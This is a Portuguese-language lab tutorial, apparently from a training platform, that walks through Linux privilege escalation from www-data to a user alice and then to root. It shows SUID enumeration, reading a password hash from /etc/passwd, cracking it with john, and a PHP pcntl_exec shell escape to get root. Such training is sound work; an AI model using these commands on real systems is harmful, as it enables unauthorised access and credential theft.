Introdução
Neste laboratório, aprenderemos como escalar privilégios para o usuário root quando não podemos escalar diretamente para root. Conseguiremos isso escalando primeiro para outro usuário regular e, em seguida, usando os privilégios desse usuário para escalar para o usuário root. Este usuário intermediário é referido como um usuário "stepping stone" (pedra de toque).
O objetivo deste laboratório é escalar privilégios do usuário www-data para o usuário alice e, em seguida, do usuário alice para o usuário root.
Inicializar o Ambiente do Laboratório
Nesta etapa, inicializaremos o ambiente do laboratório.
Primeiro, abra um terminal e navegue até o diretório
/home/labex/project:cd /home/labex/projectExecute o seguinte comando para configurar o ambiente para o laboratório:
./env_setup.shEste comando irá baixar e executar um script que configura o ambiente necessário para o laboratório. Após executar este comando, você deverá ser alternado para o usuário
www-data, simulando um shell inicial obtido através de uma vulnerabilidade web.
Tentar Escalada de Privilégios SUID
Nesta etapa, tentaremos escalar privilégios usando a técnica SUID (Set User ID). Buscaremos arquivos executáveis com o bit SUID definido, que podem ser executados com as permissões do proprietário do arquivo (neste caso, root).
Primeiro, vamos procurar arquivos executáveis SUID que o usuário
www-datapode acessar:find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txtEste comando irá pesquisar em todo o sistema de arquivos por arquivos pertencentes ao usuário root e que tenham o bit SUID definido (modo de permissões 4000).
Após executar o comando, você deverá ver uma lista de arquivos executáveis SUID no arquivo
www-data_suid_files.txt. Vamos examinar o conteúdo deste arquivo:cat ~/www-data_suid_files.txtNo entanto, neste caso, não há arquivos adequados para a escalada de privilégios SUID.
Investigar o Diretório Home
Como não conseguimos escalar privilégios usando a técnica SUID, vamos investigar o diretório home em busca de potenciais usuários de "stepping stone" (etapa intermediária).
Primeiro, vamos salvar o conteúdo do diretório
/homeem um arquivo para análise posterior:ls -alh /home > ~/home_dir_contents.txtEste comando listará o conteúdo do diretório
/homeem um formato longo, incluindo tamanhos de arquivos e permissões, e o salvará no arquivohome_dir_contents.txt.Em seguida, vamos examinar o conteúdo do arquivo
home_dir_contents.txtpara identificar qualquer potencial "stepping":cat ~/home_dir_contents.txtVocê deverá ver um diretório chamado
alicena saída, indicando a existência de um usuário chamadoaliceno sistema.
Tentar Escalada de Privilégios para o Usuário Alice
Como o usuário www-data não tem acesso ao diretório alice, precisamos encontrar uma maneira de escalar privilégios para o usuário alice primeiro.
Vamos verificar o arquivo
/etc/passwdpara obter informações sobre o usuárioalice:cat /etc/passwd | grep alice > ~/alice_info.txtVerifique o conteúdo do arquivo
alice_info.txtpara visualizar os detalhes do usuárioalicecat ~/alice_info.txtSaída esperada:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bashNa saída, você deve ver uma entrada para o usuário
alice, incluindo o hash da senha.Para quebrar o hash da senha, podemos usar a ferramenta
john. Abra um novo terminal e execute o seguinte comando:john ~/alice_info.txt > cracked_passwords.txtExemplo de saída:
Created directory: /var/www/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedIsso iniciará o processo de quebra de senha. Depois que a senha for quebrada, você deverá ver a senha no arquivo
cracked_passwords.txt.cat ~/cracked_passwords.txtExemplo de saída:
Loaded 1 password hash (md5crypt [MD5 32/64 X2]) beautiful (alice)Neste caso, a senha para o usuário
aliceébeautiful. Use o comandosupara mudar para o usuárioalice:su - aliceDigite a senha que quebramos anteriormente (
beautiful) quando solicitado.beautifulApós mudar com sucesso para o usuário
alice, navegue até o diretórioalicee crie um novo arquivo chamadoalice.txt:cd /home/aliceCrie um novo arquivo chamado
alice.txt:touch ~/alice.txtVocê agora deve ter acesso ao diretório
alicee seu conteúdo.
Tentar Escalada de Privilégios SUID como Usuário Alice
Agora que escalamos os privilégios para o usuário alice, vamos tentar a técnica de escalada de privilégios SUID novamente.
Certifique-se de estar no diretório home do usuário
alice:cd /home/aliceExecute o seguinte comando para encontrar arquivos com o bit SUID definido:
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txtVerifique o conteúdo do arquivo
alice_suid_files.txtpara visualizar a lista de arquivos SUID:cat alice_suid_files.txtSaída esperada:
... /var/bin/php ...Desta vez, você deve ver um arquivo executável
/var/bin/phpna saída. Este arquivo pode ser usado para escalada de privilégios SUID.Para escalar privilégios para o usuário root, execute o seguinte comando:
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"Este comando executará um script PHP que gera um novo shell com privilégios de root.
Você agora deve ter um shell root, indicado pelo prompt
#no terminal. Verifique se você tem privilégios de root criando um arquivo no diretório root:touch /root/root.txtSe o arquivo for criado sem erros de permissão, você escalou com sucesso os privilégios para o usuário root usando a técnica SUID.
Entender a Diferença nas Permissões de Diretório
Você pode estar se perguntando por que o usuário alice conseguiu encontrar o arquivo executável SUID php, enquanto o usuário www-data não conseguiu. A resposta está nas permissões do diretório.
Após o último passo, você ainda deve ter um shell como o usuário root, como o abaixo:
sh-5.1#
Vamos examinar as permissões do diretório
/var/bine salvar a saída em um arquivo:ls -lh /var > /root/var_permissions.txtVerifique o conteúdo do arquivo
var_permissions.txtpara visualizar as permissões do diretório/var:cat /root/var_permissions.txtSaída esperada:
total 0 ... drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin ...Na saída, você deve ver que o diretório
/var/binpertence ao usuário e grupoalice. Outros usuários não têm permissões de leitura, escrita ou execução para este diretório.
Isso significa que, quando escalamos para o usuário alice, ganhamos acesso a arquivos e diretórios que eram anteriormente inacessíveis ao usuário www-data. Essa diferença nas permissões nos permitiu encontrar e utilizar o arquivo executável SUID para escalada de privilégios.
Resumo
Neste laboratório, aprendemos como escalar privilégios para o usuário root quando a escalada direta para root não é possível. Conseguimos isso escalando primeiro para o usuário alice, um usuário intermediário, e então usando os privilégios do usuário alice para escalar para o usuário root.
A principal lição deste laboratório é estar sempre atento às diferenças nas permissões entre os usuários, pois essas diferenças podem, às vezes, ser aproveitadas para escalada de privilégios. Embora tenhamos usado um exemplo simples neste laboratório, cenários do mundo real podem ser mais complexos, mas o princípio fundamental permanece o mesmo: explorar as diferenças nas permissões do usuário para alcançar a escalada de privilégios.



